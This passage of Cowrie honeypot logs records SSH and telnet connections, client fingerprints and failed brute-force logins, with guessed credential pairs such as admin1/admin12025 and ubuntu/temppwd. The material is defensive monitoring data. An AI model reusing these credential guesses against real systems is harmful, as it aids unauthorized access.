nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:27.178795Z","src_ip":"159.203.92.129","session":"67acd2d71867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin12023","message":"login attempt [admin1/admin12023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:27.212870Z","src_ip":"159.203.92.129","session":"67acd2d71867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:28.242801Z","src_ip":"159.203.92.129","session":"67acd2d71867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":40564,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a0b2fd22787","protocol":"ssh","message":"New connection: 45.148.10.121:40564 (10.17.0.5:22) [session: 6a0b2fd22787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:31.344898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:31.349885Z","src_ip":"45.148.10.121","session":"6a0b2fd22787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:31.429861Z","src_ip":"45.148.10.121","session":"6a0b2fd22787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":49714,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac1ee55e83d8","protocol":"ssh","message":"New connection: 45.120.216.232:49714 (159.203.135.109:22) [session: ac1ee55e83d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:41.869343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:41.874445Z","src_ip":"45.120.216.232","session":"ac1ee55e83d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:42.084194Z","src_ip":"45.120.216.232","session":"ac1ee55e83d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"temppwd","message":"login attempt [ubuntu/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:42.932374Z","src_ip":"45.120.216.232","session":"ac1ee55e83d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":42236,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f9c110a96ab","protocol":"telnet","message":"New connection: 69.6.202.156:42236 (10.17.0.5:23) [session: 5f9c110a96ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:43.453919Z"}
{"eventid":"cowrie.session.closed","duration":30.30994725227356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:44.051029Z","src_ip":"69.6.202.156","session":"12b72a0f4215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:44.139410Z","src_ip":"45.120.216.232","session":"ac1ee55e83d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":36466,"dst_ip":"10.17.0.5","dst_port":23,"session":"137f093ce868","protocol":"telnet","message":"New connection: 69.6.202.156:36466 (10.17.0.5:23) [session: 137f093ce868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:18:51.665465Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":56488,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf6528d92387","protocol":"telnet","message":"New connection: 69.6.202.156:56488 (10.17.0.5:23) [session: cf6528d92387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:05.188098Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42598,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6562b4556f3","protocol":"ssh","message":"New connection: 159.203.92.129:42598 (159.203.135.109:22) [session: a6562b4556f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:09.437463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:09.441809Z","src_ip":"159.203.92.129","session":"a6562b4556f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:09.452140Z","src_ip":"159.203.92.129","session":"a6562b4556f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin12024","message":"login attempt [admin1/admin12024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:09.537234Z","src_ip":"159.203.92.129","session":"a6562b4556f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:10.544397Z","src_ip":"159.203.92.129","session":"a6562b4556f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.589179754257202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:14.042884Z","src_ip":"69.6.202.156","session":"5f9c110a96ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37745475769043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:22.042816Z","src_ip":"69.6.202.156","session":"137f093ce868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873621702194214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:36.061569Z","src_ip":"69.6.202.156","session":"cf6528d92387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.85","src_port":12135,"dst_ip":"10.17.0.5","dst_port":22,"session":"6639627cd451","protocol":"ssh","message":"New connection: 64.62.156.85:12135 (10.17.0.5:22) [session: 6639627cd451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:37.846132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:37.850833Z","src_ip":"64.62.156.85","session":"6639627cd451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:37.928836Z","src_ip":"64.62.156.85","session":"6639627cd451","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":39456,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bd3f7190d89","protocol":"ssh","message":"New connection: 45.120.216.232:39456 (159.203.135.109:22) [session: 7bd3f7190d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:39.641541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:39.647192Z","src_ip":"45.120.216.232","session":"7bd3f7190d89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:39.884129Z","src_ip":"45.120.216.232","session":"7bd3f7190d89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester11","message":"login attempt [tester/tester11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:40.861187Z","src_ip":"45.120.216.232","session":"7bd3f7190d89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:41.845529Z","src_ip":"64.62.156.85","session":"6639627cd451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:42.101090Z","src_ip":"45.120.216.232","session":"7bd3f7190d89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58706,"dst_ip":"159.203.135.109","dst_port":22,"session":"54f15dda3a3b","protocol":"ssh","message":"New connection: 159.203.92.129:58706 (159.203.135.109:22) [session: 54f15dda3a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:51.660407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:51.665043Z","src_ip":"159.203.92.129","session":"54f15dda3a3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:51.669336Z","src_ip":"159.203.92.129","session":"54f15dda3a3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin12025","message":"login attempt [admin1/admin12025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:51.681833Z","src_ip":"159.203.92.129","session":"54f15dda3a3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:52.688828Z","src_ip":"159.203.92.129","session":"54f15dda3a3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":58168,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ebfc30652ff","protocol":"telnet","message":"New connection: 69.6.202.156:58168 (10.17.0.5:23) [session: 0ebfc30652ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:19:57.114268Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":47094,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e8172d68ad5","protocol":"telnet","message":"New connection: 69.6.202.156:47094 (10.17.0.5:23) [session: 9e8172d68ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:07.181084Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":47108,"dst_ip":"10.17.0.5","dst_port":23,"session":"bde6d0c979cf","protocol":"telnet","message":"New connection: 69.6.202.156:47108 (10.17.0.5:23) [session: bde6d0c979cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:09.158036Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":47122,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c681e8ccd0a","protocol":"telnet","message":"New connection: 69.6.202.156:47122 (10.17.0.5:23) [session: 3c681e8ccd0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:15.410009Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":59044,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7aa64ff6c6a","protocol":"telnet","message":"New connection: 69.6.202.156:59044 (10.17.0.5:23) [session: c7aa64ff6c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:18.574232Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.202.156","src_port":45016,"dst_ip":"10.17.0.5","dst_port":23,"session":"a341afa9a225","protocol":"telnet","message":"New connection: 69.6.202.156:45016 (10.17.0.5:23) [session: a341afa9a225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:26.498178Z"}
{"eventid":"cowrie.session.closed","duration":30.92185139656067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:28.036018Z","src_ip":"69.6.202.156","session":"0ebfc30652ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":28915,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0bc6f14a1ab","protocol":"ssh","message":"New connection: 213.209.159.159:28915 (10.17.0.5:22) [session: d0bc6f14a1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:28.465645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:28.470834Z","src_ip":"213.209.159.159","session":"d0bc6f14a1ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:20:28.553609Z","src_ip":"213.209.159.159","session":"d0bc6f14a1ab","protocol":"ssh"}
